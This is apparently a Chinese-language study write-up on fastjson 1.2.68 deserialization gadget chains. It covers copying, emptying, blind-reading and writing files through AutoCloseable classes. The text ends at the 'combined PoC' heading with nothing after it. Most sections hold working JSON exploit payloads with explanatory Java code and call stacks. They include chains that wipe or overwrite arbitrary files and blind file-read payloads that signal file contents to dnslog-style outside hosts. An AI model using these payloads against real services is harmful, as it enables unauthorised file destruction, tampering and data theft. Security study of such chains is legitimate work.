fastjson1.2.68对于文件操作的分析
- 前言
- 分析
- 复制文件
- 清空文件
- 出现问题和分析
- 问题解决分析
- 问题再次出现
- 问题再次分析
- 最终结果
- 读取文件
- 分析poc
- 拓宽场景
- 极限环境
- poc优化修改
- 再次优化poc的分析
- 写入文件
- SafeFileOutputStream写文件
- java8无依赖读文件
- 在commons-io库下的写入文件
- 原因
- 利用链分析
- 组合poc
- 出现问题和分析
- 循环引用解决问题
- 最终poc
前言
这次分析也是分析了很久,因为每个链子都是自己去跟着分析了的,然后主要是去学习了一下怎么去挖链子
分析
前面漏洞复现只是简单地验证绕过方法的可行性,在实际的攻击利用中,是需要我们去寻找实际可行的利用类的。
我们的思路就是寻找实现自AutoCloseable接口(当然也可以是其他的接口,比如上面有的那些),并且可以恶意利用的,这里主要是学习
Mi1k7ea
主要是寻找关于输入输出流的类来写文件,IntputStream和OutputStream都是实现自AutoCloseable接口的。
- 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
- 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是byte[]、ByteBuffer、String、char[]其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
- 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法
以上三个组合在一起就能构造成一个写文件的利用链
复制文件
利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream
<dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjtools</artifactId> <version>1.9.5</version> </dependency>
复制
主要看到它的构造方法
public SafeFileOutputStream(String targetPath, String tempPath) throws IOException { this.failed = false; this.target = new File(targetPath); this.createTempFile(tempPath); if (!this.target.exists()) { if (!this.temp.exists()) { this.output = new BufferedOutputStream(new FileOutputStream(this.target)); return; } this.copy(this.temp, this.target); } this.output = new BufferedOutputStream(new FileOutputStream(this.temp)); }
复制
这段 Java 代码定义了一个名为 SafeFileOutputStream 的类的构造函数。该构造函数接受两个参数,targetPath 和 tempPath,这两个参数分别代表目标文件路径和临时文件路径。
此构造函数首先设置 failed 标记为 false,然后根据 targetPath 创建一个 File 对象,用 tempPath 创建一个临时文件.
接下来,如果目标文件不存在,那么它将检查临时文件是否存在。如果临时文件也不存在,它将直接在目标路径开创一个新的文件输出流。否则,如果临时文件确实存在,它将临时文件的内容复制到目标文件中。
如果目标文件已经存在,那么它将在临时文件路径创建一个新的文件输出流。
只需要实例化就能够触发
{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"C:/Windows/win.ini", "targetPath":"E:/Coding/flag.txt"}
复制
清空文件
也是看到了scz师傅的文章
{ '@type':"java.lang.AutoCloseable", '@type':'java.io.FileWriter', 'file':'/tmp/nonexist', 'append':false }
复制
我根据这个写了一个测试类,发现确实是可以完成我们的目的,测试类也不难,就不放了,
然后主要就是我们的append参数,因为他如果为false的话,就指的是吧文件内容写入覆盖,我们写入为空,那就相当于是删除文件了
出现问题和分析
Exception in thread "main" com.alibaba.fastjson.JSONException: default constructor not found. class java.io.FileWriter at com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:558) at com.alibaba.fastjson.parser.ParserConfig.createJavaBeanDeserializer(ParserConfig.java:915)
复制
找不到我们的构造器,我们跟着链子,最后发现是问题是出在
if (paramNames != null && types.length == paramNames.length)
复制
这个判断是false,导致直接进入else
throw new JSONException("default constructor not found. " + clazz);
复制
所以抛出了异常,那是因为我们参数是null,找不到对应的构造器,我们没有参数
最后看别人
JavaBeanInfo.build 方法中检查参数名的代码片段:
boolean is_public = (constructor.getModifiers() & 1) != 0; if (is_public) { String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor); if (lookupParameterNames != null && lookupParameterNames.length != 0 && (creatorConstructor == null || paramNames == null || lookupParameterNames.length > paramNames.length)) { paramNames = lookupParameterNames; creatorConstructor = constructor; } }
复制
那什么才是有参数呢?难道刚刚我们没有参数吗?我们是传入参数了啊,这里看师傅的回答
只有当这个类 class 字节码带有调试信息且其中包含有变量信息时才会有。
可以通过如下命令来检查,如果有输出 LocalVariableTable,则证明其 class 字节码里的函数参数会有参数名信息:
javap -l <class_name> | grep LocalVariableTable
复制
还有人做了更多的分析
通过分析发现,不是所有的构造函数的参数名都可以使用,而是第一个 参数名最多 的构造函数中的参数名才可以使用
比如org.apache.commons.io.output.FileWriterWithEncoding,同时有public FileWriterWithEncoding(File file, CharsetEncoder encoding, boolean append) 和 public FileWriterWithEncoding(String filename, CharsetEncoder encoding, boolean append)2个3参数名的构造函数,fastjson在识别到file encoding append这3个参数名后,后续就算识别到filename encoding append也会跳过参数名更新,所以不能用filename作为参数,只能使用file
这个是d4m1ts师傅的分析
问题解决分析
这里是使用这个代码去搜索的
package org.example; import com.alibaba.fastjson.util.ASMUtils; import org.springframework.core.io.Resource; import org.springframework.core.io.support.PathMatchingResourcePatternResolver; import org.springframework.core.type.classreading.SimpleMetadataReaderFactory; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.Arrays; public class App { public static void main(String[] args) throws IOException, ClassNotFoundException { Class<?> aClass = Class.forName("java.lang.AutoCloseable"); // 超类 PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver(); // 1.加载資源 classpath*:com/hadluo/**/*.class : 找环境变量下的 com/hadluo下的 所有.class文件 Resource[] resources = resolver.getResources("classpath*:org/apache/commons/io/**/*.class"); for (Resource res : resources) { // 先获取resource的元信息,然后获取class元信息,最后得到 class 全路径 String clsName = new SimpleMetadataReaderFactory().getMetadataReader(res).getClassMetadata().getClassName(); // 2. 通过名称加载类 Class tmpClass = Class.forName(clsName); // 3. 判断是不是 aClass 的子类 if (aClass.isAssignableFrom(tmpClass)) { // 4. 判断能否识别构造函数参数名,直接copy的fastjson里面的代码 Constructor<?> creatorConstructor = null; // 构造函数 String[] paramNames = null; // 存放所有参数,只有这个构造函数的参数名会使用,其他的构造函数都不能用,参考com.alibaba.fastjson.util.JavaBeanInfo.build(java.lang.Class<?>, java.lang.reflect.Type, com.alibaba.fastjson.PropertyNamingStrategy, boolean, boolean, boolean)里面的逻辑(知识点3) Constructor[] constructors = tmpClass.getDeclaredConstructors(); for (Constructor constructor : constructors) { String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor); if (lookupParameterNames == null || lookupParameterNames.length == 0) { continue; } if (creatorConstructor != null && paramNames != null && lookupParameterNames.length <= paramNames.length) { continue; } paramNames = lookupParameterNames; creatorConstructor = constructor; } if (paramNames != null) { System.out.println("构造函数可用:" + creatorConstructor + " <== 可用参数名:" + Arrays.toString(paramNames)); } // 5. 判断是否有setXXX方法 Method[] declaredMethods = tmpClass.getDeclaredMethods(); for (Method method : declaredMethods) { if (method.getName().startsWith("set")) { System.out.println("setXXX可用:" + method); } } } } } }
复制
用org.apache.commons.io.output.FileWriterWithEncoding这个类
复制
public FileWriterWithEncoding(File file, Charset encoding, boolean append) throws IOException { this.out = initWriter(file, encoding, append); }
复制
跟进initWriter方法
private static Writer initWriter(File file, Object encoding, boolean append) throws IOException { if (file == null) { throw new NullPointerException("File is missing"); } if (encoding == null) { throw new NullPointerException("Encoding is missing"); } boolean fileExistedAlready = file.exists(); OutputStream stream = null; Writer writer = null; try { stream = new FileOutputStream(file, append); if (encoding instanceof Charset) { writer = new OutputStreamWriter(stream, (Charset)encoding); } else if (encoding instanceof CharsetEncoder) { writer = new OutputStreamWriter(stream, (CharsetEncoder)encoding); } else { writer = new OutputStreamWriter(stream, (String)encoding); } }
复制
仔细去审计代码,这个方法就离谱,当append为false时,如果文件存在,就置空,不存在就新建
我们尝试先手写一下
import org.apache.commons.io.output.FileWriterWithEncoding; import java.io.File; import java.io.IOException; public class Test { public static void main(String[] args) throws IOException { File file =new File("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\fastjson_jdbc\\src\\main\\java\\2.txt"); FileWriterWithEncoding fileWriterWithEncoding=new FileWriterWithEncoding(file,"UTF-8",false); } }
复制
问题再次出现
尝试了也是能成功的,我们在实际中尝试一下发现不行
poc
{ "置空":{ "@type":"java.lang.AutoCloseable", "@type": "org.apache.commons.io.output.FileWriterWithEncoding", "file": "/Users/d4m1ts/Downloads/a.txt", "encoding": "UTF-8" }, "新建":{ "@type":"java.lang.AutoCloseable", "@type": "org.apache.commons.io.output.FileWriterWithEncoding", "file": "/Users/d4m1ts/Downloads/b.txt", "encoding": "UTF-8" } }
复制
问题再次分析
抄的这个poc不行,我再仔细的去分析了一波,发现这个连参数都没有传入全部,而且file参数是File类型的,不能这样传入参数,所以我就改了一下
{\"置空\":{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\": \"org.apache.commons.io.output.FileWriterWithEncoding\",\n" + " \"file\":{\"@type\":\"java.io.File\",\"pathname\":\"F:\\IntelliJ IDEA 2023.3.2\\java脚本\\fastjson_jdbc\\src\\main\\java\\1.txt\"},\n" + " \"encoding\": \"UTF-8\"\n" + " \"append\":false}" + "}
复制
结果还是不行,结果就是一个sb’问题,是iaea自动转义导致的问题这样就,主要是我们文件哪里,复制进去会自动转义,我们需要自己改一下,不然会导致json格式的错误
最终结果
import com.alibaba.fastjson.JSON; public class test { public static void main(String[] args) { String exp ="{\n" + " \"@type\":\"java.lang.AutoCloseable\",\n" + " \"@type\": \"org.apache.commons.io.output.FileWriterWithEncoding\",\n" + " \"file\": \"D:/2.txt\",\n" + " \"encoding\": \"UTF-8\"\n" + " }"; JSON.parse(exp); } }
复制
读取文件
这里参考的是浅蓝师傅的文章
分析poc
首先给出poc,我们根据这个poc来分析一下
{ "abc":{"@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///tmp/" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ ... ] } ] }, "address" : {"$ref":"$.abc.BOM"} }
复制
首先我们一个类一个类的看,有什么作用
org.apache.commons.io.input.BOMInputStream
这里利用的是它的构造函数和getBOM
首先是构造方法
public BOMInputStream(final InputStream delegate, final boolean include, final ByteOrderMark... boms)
复制
可以看到是可以传入一个InputStream类型的参数delegete和一个ByteOrderMark类型的数组
主要看下面的代码
public ByteOrderMark getBOM() throws IOException { if (this.firstBytes == null) { this.fbLength = 0; int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length(); this.firstBytes = new int[maxBomSize]; for(int i = 0; i < this.firstBytes.length; ++i) { this.firstBytes[i] = this.in.read(); // 从 delegate 输入流从取出所有字节,组成一个 int 数组 ++this.fbLength; if (this.firstBytes[i] < 0) { break; } } this.byteOrderMark = this.find(); // 开始把实例化对象时传入的 ByteOrderMark 数组 boms 和从 delegate 输入流从取出所有字节组成的int数组进行比对。 if (this.byteOrderMark != null && !this.include) { if (this.byteOrderMark.length() < this.firstBytes.length) { this.fbIndex = this.byteOrderMark.length(); } else { this.fbLength = 0; } } } return this.byteOrderMark; //返回 byteOrderMark } private ByteOrderMark find() { Iterator var1 = this.boms.iterator(); ByteOrderMark bom; do { if (!var1.hasNext()) { return null; } bom = (ByteOrderMark)var1.next(); } while(!this.matches(bom)); return bom; } private boolean matches(ByteOrderMark bom) { for(int i = 0; i < bom.length(); ++i) { if (bom.get(i) != this.firstBytes[i]) { return false; } } return true; }
复制
可以看到这里是有一个逻辑的,先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的 getBom 就会返回一个 null,如果遍历结束,没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取 成功的标志应该是 getBom 返回结果不为 null。
这也是我们利用的主要思路
然后我们的delegte是什么呢?
ReaderInputStream
public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) { this.reader = reader; this.encoder = encoder; this.encoderIn = CharBuffer.allocate(bufferSize); this.encoderIn.flip(); this.encoderOut = ByteBuffer.allocate(128); this.encoderOut.flip(); }
复制
这是它的构造方法,是一个reader,我们就看那个函数的名字,就是把我们的reader传为in或者out的类型
我们仔细看看方法
allocate(bufferSize)就是限制我们读取char的范围,然后this.encoderIn.flip();就是为确定我们的范围
然后需要传入一个reader看到下一个类URLReader
可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。我们可以指定自己的文件
自己也没有搭环境复现,使用师傅的复现
正常读文件时如果字节码比对正确了(因为要读的文件第一个字母是b,转成int就是98,我在boms传入的bytes第一个就是98,所以比对正确),他是会返回一个 ByteOrderMark 对象的。
因为我这里没有虚拟机,我自己写了一个测试类,但是不是fastjson的格式,只是为了明白一下原理
import org.apache.commons.io.ByteOrderMark; import org.apache.commons.io.input.BOMInputStream; import org.apache.commons.io.input.CharSequenceReader; import org.apache.commons.io.input.ReaderInputStream; import java.io.*; public class test { public static void main(String[] args) throws IOException { File file =new File("文件路径"); Reader reader =new FileReader(file); ReaderInputStream readerInputStream =new ReaderInputStream(reader,"UTF-8"); ByteOrderMark byteOrderMark =new ByteOrderMark("UTF-8",98); BOMInputStream bomInputStream =new BOMInputStream(readerInputStream,byteOrderMark); System.out.println(bomInputStream.getBOM()); } }
复制
当我1.txt文件内容为a的时候,我们运行返回的是null,当我把文件内容改为b的时候,返回了
所以就可以通过这一点来读取我们的文件内容
拓宽场景
有一个修改用户昵称的功能,使用了 fastjson 解析,取出 nickname 属性更新到数据库。我把 getBom 的值引用到 nickname 属性里。修改成功后如果 返回查看 nickname 是空或者null那就代表字节码比对错误,如果是 ByteOrderMark[…] 那就说名比对成功。
是可以的,但是如有这样一个场景呢?
有一个接口使用了 fastjson 解析 json,获取了某个属性,代码中对这个属性的格式做了严格校验,或者不会调用 json 对象里的任何属性。所以我们无法从这个接口的响应得知 getBom 返回的到底是什么。不过这个接口如果在用 fastjson 解析 JSON 的过程中抛出了异常它就会输出到响应。
这时候我们又该如何操作呢?
按照上面的逻辑,我们是需要根据网页返回的结果来确定我们是否正确的,现在网页返回的是抛出异常,那我们是不是也应该对应着抛出异常
根据作者的想法
只要让传入参数时对象类型不匹配,fastjson 自身就会抛出一个异常,如果是 null 的话就不会抛出异常。
意思就是在我们的getBom方法再套一个类,让他根据返回值不同去抛出异常和不抛出异常,而抛出异常的逻辑也是根据类型匹配,我们匹配成功返回的是一个ByteOrderMark对象
最简单的方法就是
ByteOrderMark byteOrderMark =new ByteOrderMark("UTF-8",98); System.out.println(byteOrderMark.getClass().getName());
复制
输出他的类型,你运行的话可以发现他就是ByteOrderMark类型的,我们找一个类,他能接收null不报错,接收我们的这个类型报错的
我先尝试着找了一下,但是太瓜皮了,找到的是AnrryList和MYclass,但是不行,这里看作者找到的是CharSequenceReader类,我在本地尝试了一下,真的可以,作者太牛了
我还是去找了一下,我在思考可不可以使用我们的方法来判断呢?这里我找到了一个方法
Optional.ofNullable(null); // 这不会抛出异常
复制
可不可以这样利用呢?,但是突然想起来fastjson只能调用的是get和set方法,用个屁
当然我还是去找了找发现
AtomicReference<String> atomicReference = new AtomicReference<>(null);
复制
也不会报错,所以还是有利用的价值的,所以感觉是可以利用的,但是对于原来作者有一个我没有明白,为什么java.lang.String还要加上呢?
不对,我好像找到了答案,因为我必须传入一个参数,这个参数有个条件,那就是必须是CharSequence类型的,我们去探究一下,
public final class String implements java.io.Serializable, Comparable<String>, CharSequence
复制
这个就是我们的原因,不过这个null在传入String就已经报错了,没道理,感觉还是没有作用的,但是自己又不会去实际测试一下,难崩
因为这个要连那个虚拟机来着,不会,不想学,因为这个本身利用价值不大,只是学一下思路
极限环境
有一个接口,用 fastjson 解析了 JSON,但不会反馈任何能够作为状态判断的标识,连异常报错的信息都没有。
这里又用到了fastjson的一个特性
如果fastjson前面的错了,那后面的也不会去执行
所以我们就可以利用这一点,先看原来作者的poc
{ "abc":{"@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///tmp/test" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ 98 ] } ] }, "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0}, "xxx": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "http://aaaxasd.g2pbiw.dnslog.cn/" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}] }, "zzz":{"$ref":"$.xxx.BOM[0]"} }
复制
不明白为什么还需要那么长,后面的他探测还是用了前面的重复下来?
其实还是因为我们的urlreader这个类,前面说了他还可以使用http协议,我们就可以进行dnslog探测,所以作者是根据的这个去写poc的
可以看到是成功的解析了的
poc优化修改
其实这里直接换成正常的探测poc就ok的
我们用的是
{ "abc":{"@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///E:/tmp/tyskill.txt" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [ 48, ] } ] }, "address" : { "@type": "java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence": { "@type": "java.lang.String"{"$ref":"$.abc.BOM[0]" }, "start": 0, "end": 0 }, "xxx":{{"@type":"java.net.Inet4Address","val":"cnm.awm6.hyuga.icu"}:"xx"} }
复制
可以看到最后只是加了个探测的poc,我认为这已经是最ok的结果了,但是师傅发现
因为上面的构造是匹配失败也就是没有匹配到就会发出请求,说实话匹配失败的次数是远远大于成功的次数的,所以师傅就换了一个逻辑,就是只匹配成功的时候发送请求,匹配成功返回对象,那我们该怎么修改呢?
再次优化poc的分析
这里我们还得清楚一个点
那就是到底是怎么去访问我们的远程url的啊?也没看见啊,我们找一下和reader有关的地方
经过仔细的调试分析,终于是找到了眉目
给出调用栈就能够大哥明白我们的访问是在哪里触发的了
openConnection:62, Handler (sun.net.www.protocol.http) openConnection:57, Handler (sun.net.www.protocol.http) openConnection:972, URL (java.net) openStream:1038, URL (java.net) readFully:811, Source (jdk.nashorn.internal.runtime) getReader:116, URLReader (jdk.nashorn.api.scripting) read:87, URLReader (jdk.nashorn.api.scripting) fillBuffer:206, ReaderInputStream (org.apache.commons.io.input) read:283, ReaderInputStream (org.apache.commons.io.input) getBOM:213, BOMInputStream (org.apache.commons.io.input) main:17, test
复制
我们前面需要的是匹配成功才访问,这就需要一个先决的条件,因为我们的匹配和访问url都是发生在我们的getBOM方法中的,我们就要判断谁先发生的,如果是访问url先发生,那我们这样是没有意义的
我们看看poc
{ "abc":{"@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "file:///E:/tmp/tyskill.txt" }, "charsetName": "UTF-8", "bufferSize": 1024 },"boms": [ { "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [48,] } ] }, "address": { "@type": "java.lang.AutoCloseable", "@type": "org.apache.commons.io.input.BOMInputStream", "delegate": { "@type": "org.apache.commons.io.input.ReaderInputStream", "reader": { "@type": "jdk.nashorn.api.scripting.URLReader", "url": "http://aaaxd.bf1p.hyuga.icu/" }, "charsetName": "UTF-8", "bufferSize": 1024 }, "boms": [{"$ref":"$.abc.BOM[0]"}] }, "xxx":{"$ref":"$.address.BOM[0]"} }
复制
wc,你是不是犹豫了一下,这tm不是和上面差不多吗,你仔细看就会发现,这个poc的改变就对应了我们的分析
你仔细和第一个对比一下,他这个是直接嵌在address里面的,当然除了我们分析的,还有妙的
boms传入“空数组”时不会发生访问行为因为根本就调用不到我们的read方法
如何构造一个“空数组”呢?传入一个null即可,也就是bytes比较不成功的时候,此时逻辑就可以串联起来了,先注入文件内容,比较不成功时返回null,将null通过JSONpath引用到第二部分的BOMInputStream对象boms数组中,这样就可以形成更好用的poc
写入文件
SafeFileOutputStream写文件
com.esotericsoftware.kryo.io.Output
<dependency> <groupId>com.esotericsoftware</groupId> <artifactId>kryo</artifactId> <version>4.0.0</version> </dependency> <dependency> <groupId>com.sleepycat</groupId> <artifactId>je</artifactId> <version>5.0.73</version> </dependency>
复制
Output类主要用来写内容,它提供了setBuffer()和setOutputStream()两个setter方法可以用来写入输入流,其中buffer参数值是文件内容,outputStream参数值就是前面的SafeFileOutputStream类对象,而要触发写文件操作则需要调用其flush()函数
/** Sets a new OutputStream. The position and total are reset, discarding any buffered bytes. * @param outputStream May be null. */ public void setOutputStream (OutputStream outputStream) { this.outputStream = outputStream; position = 0; total = 0; } ... /** Sets the buffer that will be written to. {@link #setBuffer(byte[], int)} is called with the specified buffer's length as the * maxBufferSize. */ public void setBuffer (byte[] buffer) { setBuffer(buffer, buffer.length); } ... /** Writes the buffered bytes to the underlying OutputStream, if any. */ public void flush () throws KryoException { if (outputStream == null) return; try { outputStream.write(buffer, 0, position); outputStream.flush(); } catch (IOException ex) { throw new KryoException(ex); } total += position; position = 0; } ...
复制
可以看到调用关系是需要调用我们的flush()函数就会调用outputStream.write(buffer, 0, position);
write方法写入内容
怎么调用flush()函数只有在close()和require()函数被调用时才会触发,其中require()函数在调用write相关函数时会被触发。
ObjectOutputStream类,其内部类BlockDataOutputStream的构造函数中将OutputStream类型参数赋值给out成员变量,而其setBlockDataMode()函数中调用了drain()函数、drain()函数中又调用了out.write()函数,满足前面的需求:
BlockDataOutputStream(OutputStream out) { this.out = out; dout = new DataOutputStream(this); } /** * Sets block data mode to the given mode (true == on, false == off) * and returns the previous mode value. If the new mode is the same as * the old mode, no action is taken. If the new mode differs from the * old mode, any buffered data is flushed before switching to the new * mode. */ boolean setBlockDataMode(boolean mode) throws IOException { if (blkmode == mode) { return blkmode; } drain(); blkmode = mode; return !blkmode; } ... /** * Writes all buffered data from this stream to the underlying stream, * but does not flush underlying stream. */ void drain() throws IOException { if (pos == 0) { return; } if (blkmode) { writeBlockHeader(pos); } out.write(buf, 0, pos); pos = 0; }
复制
对于setBlockDataMode()函数的调用,在ObjectOutputStream类的有参构造函数中就存在:
public ObjectOutputStream(OutputStream out) throws IOException { verifySubclass(); bout = new BlockDataOutputStream(out); handles = new HandleTable(10, (float) 3.00); subs = new ReplaceTable(10, (float) 3.00); enableOverride = false; writeStreamHeader(); bout.setBlockDataMode(true); if (extendedDebugInfo) { debugInfoStack = new DebugTraceInfoStack(); } else { debugInfoStack = null; } }
复制
但是Fastjson优先获取的是ObjectOutputStream类的无参构造函数,因此只能找ObjectOutputStream的继承类来触发了。
只有有参构造函数的ObjectOutputStream继承类:com.sleepycat.bind.serial.SerialOutput
看到,SerialOutput类的构造函数中是调用了父类ObjectOutputStream的有参构造函数,这就满足了前面的条件了:
public SerialOutput(OutputStream out, ClassCatalog classCatalog) throws IOException { super(out); this.classCatalog = classCatalog; /* guarantee that we'll always use the same serialization format */ useProtocolVersion(ObjectStreamConstants.PROTOCOL_VERSION_2); }
复制
{ "stream": { "@type": "java.lang.AutoCloseable", "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath": "E:/code/hacked.txt", "tempPath": "E:/code/test.txt" }, "writer": { "@type": "java.lang.AutoCloseable", "@type": "com.esotericsoftware.kryo.io.Output", "buffer": "内容", "outputStream": { "$ref": "$.stream" }, "position": 5 }, "close": { "@type": "java.lang.AutoCloseable", "@type": "com.sleepycat.bind.serial.SerialOutput", "out": { "$ref": "$.writer" } } }
复制
这里写入文件内容其实有限制,有的特殊字符并不能直接写入到目标文件中,比如写不进PHP代码等。
java8无依赖读文件
我们看看poc
{ "x":{ "@type":"java.lang.AutoCloseable", "@type":"sun.rmi.server.MarshalOutputStream", "out":{ "@type":"java.util.zip.InflaterOutputStream", "out":{ "@type":"java.io.FileOutputStream", "file":"/tmp/dest.txt", "append":false }, "infl":{ "input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw==" }, "bufLen":1048576 }, "protocolVersion":1 } }
复制
我们先自己写一个测试类看一看能不能行
import sun.rmi.server.MarshalOutputStream; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.util.Base64; import java.util.zip.Inflater; import java.util.zip.InflaterOutputStream; public class test { public static void main(String[] args) throws IOException { File file =new File("D:/2.txt"); FileOutputStream fileOutputStream =new FileOutputStream(file,false); Inflater inflater =new Inflater(); byte[] bytes = Base64.getDecoder().decode("eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="); inflater.setInput(bytes); int bufLen=1048576; InflaterOutputStream inflaterOutputStream =new InflaterOutputStream(fileOutputStream,inflater,bufLen); MarshalOutputStream marshalOutputStream =new MarshalOutputStream(inflaterOutputStream,1); } }
复制
发现成功了,逻辑就不说了,比较简单
但是当我们把他写入json格式的时候,会报错
还是因为参数信息的问题
bbs师傅说:
而我在多个不同的操作系统下的 OpenJDK、Oracle JDK 进行测试,目前只发现 CentOS 下的 OpenJDK 8 字节码调试信息中含有 LocalVariableTable(根据沈沉舟的文章,RedHat 下的 JDK8 安装包也会有,不过他并未说明是 OpenJDK 还是Oracle JDK,我未做测试)。
在commons-io库下的写入文件
原因
- commons-io 库是非常常见的第三方库
- commons-io 库里的类字节码带有 LocalVariableTable 调试信息
- commons-io 库里几乎没有类在 fastjson 黑名单中
- commons-io 库里基本都是跟 io 相关的类,跟 AutoCloseable 关联性比较强,可探索的地方很多
可以看到这个库就是天选之库
利用链分析
这里就先不放我们的poc了,因为放了也看不懂,就先分析好吧
首先是我们的入口类
XmlStreamReader
我们观察他的构造函数
public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding)throws IOException { this.defaultEncoding = defaultEncoding; BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS); BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES); this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient); this.reader = new InputStreamReader(pis, this.encoding); }
复制
重点就是doHttpStream方法最终会调用到InputStream.read方法,这里就不分析了,因为前面分析过了
XmlStreamReader.<init>(InputStream, String, boolean, String) -> XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean) -> BOMInputStream.getBOMCharsetName() -> BOMInputStream.getBOM() -> BufferedInputStream.read() -> BufferedInputStream.fill() -> InputStream.read(byte[], int, int)
复制
但是我们如果要写文件,需要的是Output类型的流,这里就用到了一个神奇的类
TeeInputStream
public TeeInputStream( InputStream input, OutputStream branch, boolean closeBranch) { super(input); this.branch = branch; this.closeBranch = closeBranch; }
复制
可以看到是接受输出和输入流的,我们看到他的read方法
public int read() throws IOException { int ch = super.read(); if (ch != -1) { branch.write(ch); } return ch; }
复制
把读取的转化为输出的,那不就是完成了流的转化吗,这样我们就可以利用input流来写文件了
通过 TeeInputStream,InputStream 输入流里读出来的东西可以重定向写入到 OutputStream 输出流。
但是我们如果要控制写入的内容,还需要控制读取的内容,我们关注读取的部分
我们需要传入一个input对象
ReaderInputStream + CharSequenceReader
这里我只给出一个链子
ReaderInputStream.read–> ReaderInputStream. fillBuffer–CharSequenceReader.read
reader的read方法
reader的read方法就可以去读取内容了
CharSequenceReader.read会读取 CharSequence 的值,但是charSequence是一个接口,不过我们的java.lang.String是它的一员,可以传入内容,我们初步的poc是
{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.ReaderInputStream", "reader":{ "@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)" }, "charsetName":"UTF-8", "bufferSize":1024 }
复制
我们先自己在自己写一下测试,能不能读内容
package test; import org.apache.commons.io.input.CharSequenceReader; import org.apache.commons.io.input.ReaderInputStream; import java.util.Scanner; public class test_read_write { public static void main(String[] args) { CharSequence string =new String("222222"); CharSequenceReader charSequenceReader =new CharSequenceReader(string); ReaderInputStream readerInputStream =new ReaderInputStream(charSequenceReader,"UTF-8",1024); Scanner scanner = new Scanner(readerInputStream); while (scanner.hasNextLine()) { System.out.println(scanner.nextLine()); } } }
复制
成功读取到内容,说明我们的文件内容是可以控制的
现在只差我们构造OutputStream了,怎么才能把它输出出去
WriterOutputStream + FileWriterWithEncoding
其实它的分析和上面的read分析就是对应的了
org.apache.commons.io.output.WriterOutputStream 的构造函数接受 Writer 对象作为参数:
它在执行 write 方法时,会执行 flushOutput 方法,从而执行 Writer.write(char[], int, int),通过 Writer 来输出:
org.apache.commons.io.output.FileWriterWithEncoding 的构造函数接受 File 对象作为参数,并最终以 File 对象构建FileOutputStream 文件输出流:
因此组合一下 WriterOutputStream 和 FileWriterWithEncoding,就能构建得到输出到指定文件的 OutputStream。
组合poc
